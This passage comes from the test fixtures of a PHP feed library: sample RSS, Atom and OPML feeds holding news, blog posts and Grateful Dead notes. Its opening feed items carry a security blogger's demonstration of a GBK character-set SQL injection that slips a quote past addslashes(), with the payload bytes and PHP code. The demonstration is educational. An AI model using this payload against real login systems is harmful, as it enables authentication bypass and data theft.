      // change our character set
      mysql_query("SET CHARACTER SET 'gbk'", $c);

      // create demo table
      mysql_query("CREATE TABLE users (
          username VARCHAR(32) PRIMARY KEY,
          password VARCHAR(32)
      ) CHARACTER SET 'GBK'"      , $c);
      mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

      // now the exploit code
      $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; 
      $_POST['password'] = 'anything'; 

      Truncated by Planet PHP, read more at the original (another 2694 bytes)

      ]]>      The addslashes() Versus mysql_real_escape_string() DebateChris Shifletthttp://shiflett.org/archive/1842006-01-22T04:15:00Z2006-01-22T04:15:00ZLast month, I discussed Google's XSS Vulnerability and provided an example that demonstrates it. I was hoping to highlight why character encoding consistency is important, but apparently the addslashes() versus mysql_real_escape_string() debate continues. Demonstrating Google's XSS vulnerability was pretty easy. Demonstrating an SQL injection attack that is immune to addslashes() is a bit more involved, but still pretty straightforward.

      In GBK, 0xbf27 is not a valid multi-byte character, but 0xbf5c is. Interpreted as single-byte characters, 0xbf27 is 0xbf (¿) followed by 0x27 ('), and 0xbf5c is 0xbf (¿) followed by 0x5c (\).

      How does this help? If I want to attempt an SQL injection attack against a MySQL database, having single quotes escaped with a backslash is a bummer. If you're using addslashes(), however, I'm in luck. All I need to do is inject something like 0xbf27, and addslashes() modifies this to become 0xbf5c27, a valid multi-byte character followed by a single quote. In other words, I can successfully inject a single quote despite your escaping. That's because 0xbf5c is considered to be a single character, not two. Oops, there goes the backslash.

      I'm going to use MySQL 5.0 and PHP's mysqli extension for this demonstration. If you want to try this yourself, make sure you're using GBK. I just changed /etc/my.cnf, but that's because I'm testing locally:

      [client]
default-character-set=GBK

      Create a table called users:

      CREATE TABLE users
(
    username VARCHAR(32) CHARACTER SET GBK,
    password VARCHAR(32) CHARACTER SET GBK,
    PRIMARY KEY (username)
);

      The following script mimics a situation where only addslashes() is used to escape the data being used in a query:

      <?php 

      $mysql       = array(); 

      $db = mysqli_init(); 
      $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); 

      $_POST['username'] = chr(0xbf) . 
                                 chr(0x27) . 
                                 ' OR username = username /*'; 
      $_POST['password'] = 'guess'; 

      $mysql['username'] = addslashes($_POST['username']); 
      $mysql['password'] = addslashes($_POST

      Truncated by Planet PHP, read more at the original (another 4165 bytes)

      ]]>      PHP ConferencesJason E. Sweathttp://blog.casey-sweat.us/?p=692006-01-22T04:04:00Z2006-01-22T04:04:00ZBack from NorwayTobias Schlitthttp://www.schlitt.info/applications/blog/index.php?/archives/407-guid.html2006-01-22T00:30:00Z2006-01-22T00:30:00ZNorway is a somewhat strange country. When I got there - 2 weeks ago to work with Amos, Derick, Fred and Ray on the eZ components - it had the expected amount of snow. A few days later, there was nothing anymore. We had positive celsius values and the weather was really crappy... until Monday. Since then it has been snowing all the time and yesterday we left when it looked like this:

      pict1285.jpg

      Nice to watch, but not real fun to walk onto. :) Anyway, it's been another great stay in Skien, where the eZ headquarter is and I'm pretty much looking forward to our summer conference, where we plan to have the complete eZ team there and lots of people from the PHP world. Thanks for the great time, folks!

      ]]>      Solar 0.10.0 ReleasedPaul M. Joneshttp://paul-m-jones.com/blog/?p=1922006-01-21T21:44:00Z2006-01-21T21:44:00Z       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestSample1.xml0000664000175000017500000000121612653701626022056 0ustar janjan Example Feed Insert witty or insightful remark here 2003-12-13T18:30:02Z John Doe johndoe@example.com urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6 Atom-Powered Robots Run Amok urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a 2003-12-13T18:30:02Z Some text. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestSample2.xml0000664000175000017500000000055312653701626022062 0ustar janjan Example Atom Feed 2006-01-23T23:04:33Z http://www.example.com John Doe John@Example.com http://www.example.com Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestSample3.xml0000664000175000017500000000056712653701626022070 0ustar janjan Example Atom Feed 2006-01-23T23:04:33Z http://www.example.com John Doe John@Example.com http://www.example.com Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestSample4.xml0000664000175000017500000000232512653701626022063 0ustar janjan http://www.example.com Example Atom Feed 2006-01-23T23:04:33Z John Doe John@Example.com http://www.example.com tag:www.example.com,2006-01-23:/post/1234 Mars Attacks Pluto Probe 2006-01-23T23:04:33Z In upheaval of the tenuous peace between Earth and Mars over the last century, it has been confirmed that a rogue Martian fighter ship suddenly attacked Earth's 2006 probe to Pluto today. Martian delegates have been dispatched to Earth in an effort to quell the political firestorm that has ensued. tag:www.example.com,2006-01-23:/post/1235 Quake Rocks Io 2006-01-23T23:04:33Z A strong tremor rocked Io this afternoon, and officials are saying that no one has been found alive on Io since the quake. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/BlogRollTestSample1.xml0000664000175000017500000001365012653701626022677 0ustar janjan endo subscriptions Horde_Feed-2.0.4/test/Horde/Feed/fixtures/BlogRollTestSample2.xml0000664000175000017500000002442412653701626022701 0ustar janjan ourFavoriteFeedsData.top100 Fri, 02 Jan 2004 12:59:58 GMT Fri, 23 Jul 2004 23:41:32 GMT Dave Winer dave@userland.com 1 20 0 120 147 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/MySubscriptions.opml0000664000175000017500000002542312653701626022425 0ustar janjan mySubscriptions Horde_Feed-2.0.4/test/Horde/Feed/fixtures/MySubscriptionsGrouped.opml0000664000175000017500000003037512653701626023755 0ustar janjan mySubscriptions Horde_Feed-2.0.4/test/Horde/Feed/fixtures/NotAFeed.xml0000664000175000017500000001144612653701626020526 0ustar janjan
      SecurityFocus RSS feeds

      XML/RSS >> News/Infocus/Columns    http://www.securityfocus.com/rss/news.xml
      SecurityFocus News features security-related news stories written by highly regarded SF news staff, as well as security-related news through partnerships with The Register, the Washington Post and BusinessWeek. In addition, SecurityFocus compiles daily security-related headlines from sources around the Internet.

      SecurityFocus Infocus articles are in-depth feature articles divided into eight areas of interest: Penetration-Testing, Firewalls, Microsoft, Unix, Intrusion Detection (IDS), Virus, Incident Handling, and Foundations. Each area is aimed at helping readers to properly implement effective security measures as well as introducing readers to new technologies, methods, and potential concerns.

      SecurityFocus Columnists offer knowledgeable, insightful comments about topical issues that affect all members of the security community. The columns are written by prominent, well-respected members of the security community.


      XML/RSS >> Vulnerabilities/Bugtraq    http://www.securityfocus.com/rss/vulnerabilities.xml
      The SecurityFocus Vulnerability Database provides security professionals with the most up-to-date information on vulnerabilities for all platforms and services. This information is provided for free with a 48-hour delay from when the vulnerability is first published, or as a paid service without any delay.

      BugTraq is a full disclosure mailing list from SecurityFocus, for the detailed discussion and announcement of computer security vulnerabilities. BugTraq serves as the cornerstone of the Internet-wide security community.

      How to use RSS

      To access these feeds in a readable format, you need an RSS reader/aggregator. There are three main ways to use an RSS aggregator: a client-based application, a plug-in for your browser, or a web script that runs on your website.

      • Blogspace has a good list of Windows/Linux/Mac clients, many of them freeware.
      • There are RSS extensions for the excellent (and secure) Firefox & Mozilla Web browsers; there are also several RSS toolbars/sidebars available for Internet Explorer.

      Once your RSS Reader is setup and you've added the new SecurityFocus RSS feeds, browse on over to Scott Granneman's column for an exhaustive list of many other security-related RSS feeds that may interest you.

      How to include SecurityFocus RSS on your site

      SecurityFocus encourages website authors to include our RSS feeds within their site to promote related content. HotScripts, among others, have a number of PHP/Perl/ASP based solutions for including RSS feeds within your site.

      Have a comment on the RSS feeds? Email your thoughts to the content-editor.
      Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTest091Sample1.xml0000664000175000017500000000526512653701626022167 0ustar janjan WriteTheWeb http://writetheweb.com News for web users that write back en-us Copyright 2000, WriteTheWeb team. editor@writetheweb.com webmaster@writetheweb.com WriteTheWeb http://writetheweb.com/images/mynetscape88.gif http://writetheweb.com 88 31 News for web users that write back Giving the world a pluggable Gnutella http://writetheweb.com/read.php?item=24 WorldOS is a framework on which to build programs that work like Freenet or Gnutella -allowing distributed applications using peer-to-peer routing. Syndication discussions hot up http://writetheweb.com/read.php?item=23 After a period of dormancy, the Syndication mailing list has become active again, with contributions from leaders in traditional media and Web syndication. Personal web server integrates file sharing and messaging http://writetheweb.com/read.php?item=22 The Magi Project is an innovative project to create a combined personal web server and messaging system that enables the sharing and synchronization of information across desktop, laptop and palmtop devices. Syndication and Metadata http://writetheweb.com/read.php?item=21 RSS is probably the best known metadata format around. RDF is probably one of the least understood. In this essay, published on my O'Reilly Network weblog, I argue that the next generation of RSS should be based on RDF. UK bloggers get organised http://writetheweb.com/read.php?item=20 Looks like the weblogs scene is gathering pace beyond the shores of the US. There's now a UK-specific page on weblogs.com, and a mailing list at egroups. Yournamehere.com more important than anything http://writetheweb.com/read.php?item=19 Whatever you're publishing on the web, your site name is the most valuable asset you have, according to Carl Steadman. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTest092Sample1.xml0000664000175000017500000002515712653701626022172 0ustar janjan Dave Winer: Grateful Dead http://www.scripting.com/blog/categories/gratefulDead.html A high-fidelity Grateful Dead song every day. This is where we're experimenting with enclosures on RSS news items that download when you're not using your computer. If it works (it will) it will be the end of the Click-And-Wait multimedia experience on the Internet. Fri, 13 Apr 2001 19:23:02 GMT http://backend.userland.com/rss092 dave@userland.com (Dave Winer) dave@userland.com (Dave Winer) It's been a few days since I added a song to the Grateful Dead channel. Now that there are all these new Radio users, many of whom are tuned into this channel (it's #16 on the hotlist of upstreaming Radio users, there's no way of knowing how many non-upstreaming users are subscribing, have to do something about this..). Anyway, tonight's song is a live version of Weather Report Suite from Dick's Picks Volume 7. It's wistful music. Of course a beautiful song, oft-quoted here on Scripting News. <i>A little change, the wind and rain.</i> Kevin Drennan started a <a href="http://deadend.editthispage.com/">Grateful Dead Weblog</a>. Hey it's cool, he even has a <a href="http://deadend.editthispage.com/directory/61">directory</a>. <i>A Frontier 7 feature.</i> Scripting News <a href="http://arts.ucsc.edu/GDead/AGDL/other1.html">The Other One</a>, live instrumental, One From The Vault. Very rhythmic very spacy, you can listen to it many times, and enjoy something new every time. This is a test of a change I just made. Still diggin.. The HTML rendering almost <a href="http://validator.w3.org/check/referer">validates</a>. Close. Hey I wonder if anyone has ever published a style guide for ALT attributes on images? What are you supposed to say in the ALT attribute? I sure don't know. If you're blind send me an email if u cn rd ths. <a href="http://www.cs.cmu.edu/~mleone/gdead/dead-lyrics/Franklin's_Tower.txt">Franklin's Tower</a>, a live version from One From The Vault. Moshe Weitzman says Shakedown Street is what I'm lookin for for tonight. I'm listening right now. It's one of my favorites. "Don't tell me this town ain't got no heart." Too bright. I like the jazziness of Weather Report Suite. Dreamy and soft. How about The Other One? "Spanish lady come to me.." Scripting News <a href="http://www.scripting.com/mp3s/youWinAgain.mp3">The news is out</a>, all over town..<p> You've been seen, out runnin round. <p> The lyrics are <a href="http://www.cs.cmu.edu/~mleone/gdead/dead-lyrics/You_Win_Again.txt">here</a>, short and sweet. <p> <i>You win again!</i> <a href="http://www.getlyrics.com/lyrics/grateful-dead/wake-of-the-flood/07.htm">Weather Report Suite</a>: "Winter rain, now tell me why, summers fade, and roses die? The answer came. The wind and rain. Golden hills, now veiled in grey, summer leaves have blown away. Now what remains? The wind and rain." <a href="http://arts.ucsc.edu/gdead/agdl/darkstar.html">Dark Star</a> crashes, pouring its light into ashes. DaveNet: <a href="http://davenet.userland.com/2001/01/21/theUsBlues">The U.S. Blues</a>. Still listening to the US Blues. <i>"Wave that flag, wave it wide and high.."</i> Mistake made in the 60s. We gave our country to the assholes. Ah ah. Let's take it back. Hey I'm still a hippie. <i>"You could call this song The United States Blues."</i> <a href="http://www.sixties.com/html/garcia_stack_0.html"><img src="http://www.scripting.com/images/captainTripsSmall.gif" height="51" width="42" border="0" hspace="10" vspace="10" align="right"></a>In celebration of today's inauguration, after hearing all those great patriotic songs, America the Beautiful, even The Star Spangled Banner made my eyes mist up. It made my choice of Grateful Dead song of the night realllly easy. Here are the <a href="http://searchlyrics2.homestead.com/gd_usblues.html">lyrics</a>. Click on the audio icon to the left to give it a listen. "Red and white, blue suede shoes, I'm Uncle Sam, how do you do?" It's a different kind of patriotic music, but man I love my country and I love Jerry and the band. <i>I truly do!</i> Grateful Dead: "Tennessee, Tennessee, ain't no place I'd rather be." Ed Cone: "Had a nice Deadhead experience with my wife, who never was one but gets the vibe and knows and likes a lot of the music. Somehow she made it to the age of 40 without ever hearing Wharf Rat. We drove to Jersey and back over Christmas with the live album commonly known as Skull and Roses in the CD player much of the way, and it was cool to see her discover one the band's finest moments. That song is unique and underappreciated. Fun to hear that disc again after a few years off -- you get Jerry as blues-guitar hero on Big Railroad Blues and a nice version of Bertha." <a href="http://arts.ucsc.edu/GDead/AGDL/fotd.html">Tonight's Song</a>: "If I get home before daylight I just might get some sleep tonight." <a href="http://arts.ucsc.edu/GDead/AGDL/uncle.html">Tonight's song</a>: "Come hear Uncle John's Band by the river side. Got some things to talk about here beside the rising tide." <a href="http://www.cs.cmu.edu/~mleone/gdead/dead-lyrics/Me_and_My_Uncle.txt">Me and My Uncle</a>: "I loved my uncle, God rest his soul, taught me good, Lord, taught me all I know. Taught me so well, I grabbed that gold and I left his dead ass there by the side of the road." Truckin, like the doo-dah man, once told me gotta play your hand. Sometimes the cards ain't worth a dime, if you don't lay em down. Two-Way-Web: <a href="http://www.thetwowayweb.com/payloadsForRss">Payloads for RSS</a>. "When I started talking with Adam late last year, he wanted me to think about high quality video on the Internet, and I totally didn't want to hear about it." A touch of gray, kinda suits you anyway.. <a href="http://www.sixties.com/html/garcia_stack_0.html"><img src="http://www.scripting.com/images/captainTripsSmall.gif" height="51" width="42" border="0" hspace="10" vspace="10" align="right"></a>In celebration of today's inauguration, after hearing all those great patriotic songs, America the Beautiful, even The Star Spangled Banner made my eyes mist up. It made my choice of Grateful Dead song of the night realllly easy. Here are the <a href="http://searchlyrics2.homestead.com/gd_usblues.html">lyrics</a>. Click on the audio icon to the left to give it a listen. "Red and white, blue suede shoes, I'm Uncle Sam, how do you do?" It's a different kind of patriotic music, but man I love my country and I love Jerry and the band. <i>I truly do!</i> Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTest100Sample1.xml0000664000175000017500000000366212653701626022155 0ustar janjan XML.com http://xml.com/pub XML.com features a rich mix of information and services for the XML community. XML.com http://www.xml.com http://xml.com/universal/images/xml_tiny.gif Processing Inclusions with XSLT http://xml.com/pub/2000/08/09/xslt/xslt.html Processing document inclusions with general XML tools can be problematic. This article proposes a way of preserving inclusion information through SAX-based processing. Putting RDF to Work http://xml.com/pub/2000/08/09/rdfdb/index.html Tool and API support for the Resource Description Framework is slowly coming of age. Edd Dumbill takes a look at RDFDB, one of the most exciting new RDF toolkits. Search XML.com Search XML.com's XML collection s http://search.xml.com Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTest100Sample2.xml0000664000175000017500000000470112653701626022151 0ustar janjan Meerkat http://meerkat.oreillynet.com Meerkat: An Open Wire Service The O'Reilly Network Rael Dornfest (mailto:rael@oreilly.com) Copyright © 2000 O'Reilly & Associates, Inc. 2000-01-01T12:00+00:00 hourly 2 2000-01-01T12:00+00:00 Meerkat Powered! http://meerkat.oreillynet.com/icons/meerkat-powered.jpg http://meerkat.oreillynet.com XML: A Disruptive Technology http://c.moreover.com/click/here.pl?r123 XML is placing increasingly heavy loads on the existing technical infrastructure of the Internet. The O'Reilly Network Simon St.Laurent (mailto:simonstl@simonstl.com) Copyright © 2000 O'Reilly & Associates, Inc. XML XML.com NASDAQ XML Search Meerkat Search Meerkat's RSS Database... s http://meerkat.oreillynet.com/ search regex Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTest200Sample1.xml0000664000175000017500000000501012653701626022143 0ustar janjan Liftoff News http://liftoff.msfc.nasa.gov/ Liftoff to Space Exploration. en-us Tue, 10 Jun 2003 04:00:00 GMT Tue, 10 Jun 2003 09:41:01 GMT http://blogs.law.harvard.edu/tech/rss Weblog Editor 2.0 editor@example.com webmaster@example.com Star City http://liftoff.msfc.nasa.gov/news/2003/news-starcity.asp How do Americans get ready to work with Russians aboard the International Space Station? They take a crash course in culture, language and protocol at Russia's <a href="http://howe.iki.rssi.ru/GCTC/gctc_e.htm">Star City</a>. Tue, 03 Jun 2003 09:39:21 GMT http://liftoff.msfc.nasa.gov/2003/06/03.html#item573 Sky watchers in Europe, Asia, and parts of Alaska and Canada will experience a <a href="http://science.nasa.gov/headlines/y2003/30may_solareclipse.htm">partial eclipse of the Sun</a> on Saturday, May 31st. Fri, 30 May 2003 11:06:42 GMT http://liftoff.msfc.nasa.gov/2003/05/30.html#item572 The Engine That Does More http://liftoff.msfc.nasa.gov/news/2003/news-VASIMR.asp Before man travels to Mars, NASA hopes to design new engines that will let us fly through the Solar System more quickly. The proposed VASIMR engine would do that. Tue, 27 May 2003 08:37:32 GMT http://liftoff.msfc.nasa.gov/2003/05/27.html#item571 Astronauts' Dirty Laundry http://liftoff.msfc.nasa.gov/news/2003/news-laundry.asp Compared to earlier spacecraft, the International Space Station has many luxuries, but laundry facilities are not one of them. Instead, astronauts have other options. Tue, 20 May 2003 08:56:02 GMT http://liftoff.msfc.nasa.gov/2003/05/20.html#item570 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTestCNN.xml0000664000175000017500000001244712653701626021051 0ustar janjan CNN.com http://www.cnn.com/rssclick/?section=cnn_topstories CNN.com delivers up-to-the-minute news and information on the latest top stories, weather, entertainment, politics and more. en-us 2006 Cable News Network LP, LLLP. Mon, 23 Jan 2006 15:11:09 EST 5 CNN.com http://www.cnn.com/rssclick/?section=cnn_topstories http://i.cnn.net/cnn/.element/img/1.0/logo/cnn.logo.rss.gif 144 33 CNN.com delivers up-to-the-minute news and information on the latest top stories, weather, entertainment, politics and more. Court ruling could lead to BlackBerry shutdown http://www.cnn.com/rssclick/money/2006/01/23/technology/rim/index.htm?section=cnn_topstories BlackBerry maker Research in Motion was dealt a setback today when the U.S. Supreme Court turned down a request to review a major patent infringement ruling against the company. Research In Motion (RIM) had petitioned the Supreme Court to review a federal appeals court ruling that could lead to a shutdown of most U.S. BlackBerry sales and service. Mon, 23 Jan 2006 15:09:23 EST Ford owners not told how to reduce fire risk http://www.cnn.com/rssclick/2006/US/01/23/ford.fires/index.html?section=cnn_topstories The parents of three sisters burned to death in a rear-end crash are asking Ford Motor Co. to install the same gas tank protective devices in regular models as it did for its police cars. Mon, 23 Jan 2006 12:30:45 EST Ford cutting up to 30,000 jobs http://www.cnn.com/rssclick/money/2006/01/23/news/companies/ford_closings/index.htm?section=cnn_topstories Ford will close 14 manufacturing plants in North America and cut up to 30,000 jobs in the coming years to try to stem losses and adjust to a new, significantly lower market share. "If we build it, they'll buy it. That's business as usual and it's wrong," said Ford Chairman and CEO Bill Ford . "Our product plans for too long have been defined by our capacity. That's why we must reduce capacity in North America." Mon, 23 Jan 2006 11:56:19 EST Bush rejects warrantless wiretaps furor http://www.cnn.com/rssclick/2006/POLITICS/01/23/bush.ap/index.html?section=cnn_topstories Read full story for latest details. Mon, 23 Jan 2006 14:25:26 EST Rescuers dig for survivors in collapsed Nairobi building http://www.cnn.com/rssclick/2006/WORLD/africa/01/23/kenya.building/index.html?section=cnn_topstories Rescuers are desperately trying to dig out construction workers trapped under the rubble of a five-story building that collapsed today in Nairobi, Kenya. At least 60 people are injured. It was unclear if any workers had died. Witnesses told news agencies they had seen between four and eight bodies but police have given no official death toll yet. Dozens of rescuers dug into the rubble with their bare hands while the injured were taken to hospitals in cars. Mon, 23 Jan 2006 15:06:36 EST DNA frees man 24 years into 130-year sentence http://www.cnn.com/rssclick/2006/LAW/01/23/dna.exoneration.ap/index.html?section=cnn_topstories Read full story for latest details. Mon, 23 Jan 2006 14:05:16 EST School nurse crisis putting kids at risk http://www.cnn.com/rssclick/2006/HEALTH/01/23/btsc.cohen/index.html?section=cnn_topstories A few months ago, I was interviewing a principal at a Chicago, Illinois, public elementary school, when from outside her office came the sounds of a child coughing. Mon, 23 Jan 2006 12:54:40 EST Russia: Britain used 'rock' to spy http://www.cnn.com/rssclick/2006/WORLD/europe/01/23/uk.russia.row/index.html?section=cnn_topstories British official say they are "concerned and surprised" at allegations by a Russian state TV program that UK diplomats used a transmitter embedded in a fake rock as part of a high-tech spying operation in Moscow, news agencies report. Mon, 23 Jan 2006 14:21:29 EST Buttafuocos plan TV reunion with Amy Fisher http://www.cnn.com/rssclick/2006/SHOWBIZ/TV/01/23/people.fisher.buttafuoco.reunion.ap/index.html?section=cnn_topstories Read full story for latest details. Mon, 23 Jan 2006 13:31:06 EST Could you love the 'world's worst dog'? http://www.cnn.com/rssclick/2006/SHOWBIZ/books/01/23/books.marley.me.ap/index.html?section=cnn_topstories Read full story for latest details. Mon, 23 Jan 2006 12:35:01 EST Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTestHarvardLaw.xml0000664000175000017500000003673012653701626022467 0ustar janjan Really Simple Syndication http://blogs.law.harvard.edu/tech/ RSS Advisory Board announcements and RSS news http://creativecommons.org/licenses/by-sa/1.0/ en-us Sat, 21 Jan 2006 05:00:00 GMT Sun, 22 Jan 2006 02:01:58 GMT http://backend.userland.com/rss UserLand Frontier v9.5 rssUpdates rcade@yahoo.com rcade@yahoo.com Simple Syndication in Communist China http://english.peopledaily.com.cn/rss/rss.html The English language edition of <a href="http://english.peopledaily.com.cn/">People's Daily</a>, the official newspaper of the Communist Party of China, offers <a href="http://english.peopledaily.com.cn/rss/rss.html">18 RSS 2.0 newsfeeds</a>.<br> <br> In addition to feeds on current events in news, business, sports, and other areas, the paper devotes feeds to party leaders such as Chinese President <a href="http://english.people.com.cn/rss/hujintao.xml">Hu Jintao</a> and Premier <a href="http://english.peopledaily.com.cn/rss/rss.html">Wen Jiabao</a>.<br> <br> Outside observers of China often look to <span style="font-style: italic;">People's Daily</span> for clues about the inner workings of the government, as described in <a href="http://en.wikipedia.org/wiki/People%27s_Daily">Wikipedia</a>:<br> <p style="margin-left: 40px;">Newspaper articles in the <span style="font-style: italic;">People's Daily</span> are often not read for content, so much as placement. A large number of articles devoted to a political figure or idea is often taken as a sign that that official is rising.</p><br><br><div style="margin-left: 40px;">In addition, editorials in the <i>People's Daily</i> are also still regarded as fairly authoritative statements of government policy.<br> </div> Rogers Cadenhead http://blogs.law.harvard.edu/tech/2005/07/10#a852 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=852&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2005%2F07%2F10%23a852 RSS Takes Flight at NASA http://www.nasa.gov/rss/ The National Aeronautics and Space Administration makes extensive use of RSS 2.0 to provide news, photographs, and press releases on upcoming missions and other space-related topics.<br> <br> People looking ahead to the planned July 13 launch of the space shuttle Discovery can subscribe to a <a href="http://www.nasa.gov/rss/rtf_news.rss">Return to Flight RSS feed</a>.<br> <br> NASA's RSS information page also includes an interesting demonstration of an RSS viewer created in Macromedia Flash.<br> Rogers Cadenhead http://blogs.law.harvard.edu/tech/2005/07/09#a851 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=851&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2005%2F07%2F09%23a851 RSS Usage Skyrockets in the U.S. http://blogs.law.harvard.edu/tech/2005/01/04#a821 Six million Americans get news and information from RSS aggregators, according to a <a href="http://www.pewinternet.org/pdfs/PIP_blogging_data.pdf">nationwide telephone survey</a> conducted by the Pew Internet and American Life Project in November.<br> <br> The project, an ongoing survey of the 120 million Americans using the Internet, found that 5 percent follow their favorite sources through RSS syndication. "This is a first-time measurement from our surveys and is an indicator that this application is gaining an impressive foothold."<br> <br> The survey also found that 27 percent of those polled are weblog readers, a 58 percent jump in the 9 months since the preceding poll was conducted.<br> Rogers Cadenhead http://blogs.law.harvard.edu/tech/2005/01/04#a821 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=821&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2005%2F01%2F04%23a821 Added link to encoding examples in RSS 2.0 spec http://blogs.law.harvard.edu/tech/2004/06/19#a683 <P>We added a link to a page of <A href="http://blogs.law.harvard.edu/tech/encodingDescriptions">encoding examples</A> for descriptions, <A href="http://blogs.law.harvard.edu/tech/rss#hrelementsOfLtitemgt">under</A> Elements of &lt;item>. The change is also <A href="http://blogs.law.harvard.edu/tech/rssChangeNotes#61904Dw">noted</A> on the Change Notes page.</P> Dave Winer http://blogs.law.harvard.edu/tech/2004/06/19#a683 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=683&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2004%2F06%2F19%23a683 Proposed clarification for RSS 2.0 spec (revised) http://blogs.law.harvard.edu/tech/2004/06/15#a648 <P>Here's a revised proposal for a clarification to the RSS 2.0 spec.</P> <P>Under <A href="http://blogs.law.harvard.edu/tech/rss#hrelementsOfLtitemgt">Elements of &lt;item></A>, replace the lead paragraph with the following.<BR></P> <BLOCKQUOTE> <P>A channel may contain any number of &lt;item>s. An item may represent a "story" -- much like a story in a newspaper or magazine; if so its description is a synopsis of the story, and the link points to the full story. An item may also be complete in itself, if so, the description contains the text (entity-encoded HTML is allowed<FONT color=green><B>; see <A style="COLOR: green" href="http://blogs.law.harvard.edu/tech/encodingDescriptions">examples</A></B></FONT>), and the link and title may be omitted. All elements of an item are optional, however at least one of title or description must be present.</P></BLOCKQUOTE> <P><STRONG>Notes</STRONG>: The new text is in green. The word examples links to a <A href="http://blogs.law.harvard.edu/tech/encodingDescriptions">page</A> of examples of encodings. We'd like to make the changes to the spec early next week.&nbsp;&nbsp;If you have concerns about this change, please post a comment below, and we will review them before making the change. Thanks to everyone who has participated in the discussion thus far.</P> Andrew Grumet http://blogs.law.harvard.edu/tech/2004/06/15#a648 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=648&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2004%2F06%2F15%23a648 Proposed clarification for RSS 2.0 spec http://blogs.law.harvard.edu/tech/2004/06/04#a553 <P>Requesting comments on a couple of proposed clarifications to the <A href="http://blogs.law.harvard.edu/tech/rss#hrelementsOfLtitemgt">RSS 2.0 spec</A>.</P> <P>1. Under Elements of &lt;item>, replace the lead paragraph with the following. The new text is highlighted in green.</P> <BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px"> <P>A channel may contain any number of &lt;item>s. An item may represent a "story" -- much like a story in a newspaper or magazine; if so its description is a synopsis of the story, and the link points to the full story. An item may also be complete in itself, if so, the description contains the text, and the link and title may be omitted. <B><FONT color=green>Either way, &lt;description> contains entity-encoded HTML</FONT>.</B> All elements of an item are optional, however at least one of title or description must be present.</P></BLOCKQUOTE> <P>2. Immediately following that section, a link to a <A href="http://blogs.law.harvard.edu/tech/encodingDescriptions">page of examples</A>, authored by Nick Bradbury, author of the FeedDemon aggregator.</P> <P><STRONG>Notes: </STRONG>We believe aggregators already assume the&nbsp;item-level description contains entity-encoded HTML.&nbsp; We'd like to make the changes to the spec early next week and if there are no deal-stoppers, we will. Please comment below. Off-topic and personal comments will be deleted.</P> <P><STRONG>Thanks to:</STRONG> Nick Bradbury, Brent Simmons, Greg Reinacker, Jake Savin, Dare Obasanjo, Matt Mullenweg for their help working out this proposed clarification.</P> Dave Winer http://blogs.law.harvard.edu/tech/2004/06/04#a553 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=553&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2004%2F06%2F04%23a553 RSS documentation updates http://blogs.law.harvard.edu/tech/2004/05/31#a550 If you're not tracking this site's <A href="http://blogs.law.harvard.edu/tech/rssChangeNotes">change notes page</A>, you might have missed a few minor edits to the documentation for RSS 2.0:<BR> <UL> <LI>The <A href="http://cyber.law.harvard.edu/blogs/gems/tech/rss2sample.xml">RSS 2.0 sample file</A> has been updated. <LI>An <A href="http://blogs.law.harvard.edu/tech/rssChangeNotes#53104Dw">encoding issue</A> has been fixed on the <A href="http://blogs.law.harvard.edu/tech/skipHoursDays">skipHours and skipDays</A> page. </LI></UL>Suggestions for further improvements to the documentation are encouraged.<BR><BR> Rogers Cadenhead http://blogs.law.harvard.edu/tech/2004/05/31#a550 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=550&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2004%2F05%2F31%23a550 The role of the advisory board http://blogs.law.harvard.edu/tech/2004/05/18#a540 There's been some confusion about the role of the advisory board. The purpose of this post to try to clear it up.<BR><BR>1. It's got a very conservative mission, to answer questions about RSS, to help people use it, to promote its use. It's basically a support function. <BR><BR>2. Anyone can extend RSS through namespaces. We suggest that people look first to see if there is a core element that already does what they need to do, and if so, use that instead of inventing a new one. That will keep the work of aggregator developers to a minimum, keep the barriers to entry low, help keep the market competitive. Competition should be based on features, performance and price, not compatibility. Compatibility should be easy.<BR><BR>3. Emphatically, this group is not a standards organization. It does not own RSS, or the spec, it has no more or less authority than any other group of people who wish to promote RSS. Dave Winer http://blogs.law.harvard.edu/tech/2004/05/18#a540 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=540&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2004%2F05%2F18%23a540 Why are dates RFC 822? http://blogs.law.harvard.edu/tech/2004/05/16#a534 <P>Gene Saunders writes: "Why does RSS 2.0 use RFC 822 instead of the (infinitely more modern) RFC 2822?"</P> <P>Here's why we went with RFC 822:</P> <P>1. Any scripting software that was used in Internet applications would already have to deal with RFC 822 dates, since that was the format used in email. For most app developers, I imagined, they already had library routines that dealt with 822 format dates. The script environment I was using certainly did. Over the years I've never heard a complaint that 